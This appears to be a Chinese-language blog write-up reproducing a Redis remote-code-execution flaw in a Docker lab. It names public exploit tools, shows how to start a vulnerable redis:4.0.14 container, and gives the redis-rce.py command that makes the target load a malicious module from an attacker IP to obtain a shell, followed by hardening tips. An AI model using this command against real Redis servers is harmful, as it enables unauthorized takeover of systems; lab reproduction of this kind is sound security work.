一、简介
Redis:REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis RCE漏洞来源:https://lorexxar.cn/2019/07/10/redis-5-x-rce/
二、漏洞复现过程
1、使用工具
https://github.com/Ridter/redis-rce
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
v
注意:其中的module.so恶意文件是由第二个工具所编译的。(下载后,make编译)
2、环境配置
(1)安装redis 环境
Ps:由于是在Win7上搭建的Docker环境,一开始pull失败,多试了几次就好了,很神奇。
(2)启动Redis
docker run -p 6379:6379 -v $PWD/data:/data -d redis:4.0.14 redis-server --appendonly yes
(3)访问搭建好Redis环境的Docker主机
出现这个页面表示一切正常,放心进行下一步。
(4)开始攻击
redis的IP地址为:192.168.99.100
攻击者的IP地址为:192.168.0.106
Python redis-rce.py –r 目标IP –L 攻击者IP –f module.so
在本地执行redis-rce.py,成功getshell。
三、漏洞建议
1、禁止外部访问redis服务端口。
2、禁止root权限启动redis服务。
3、限制访问redis服务的IP。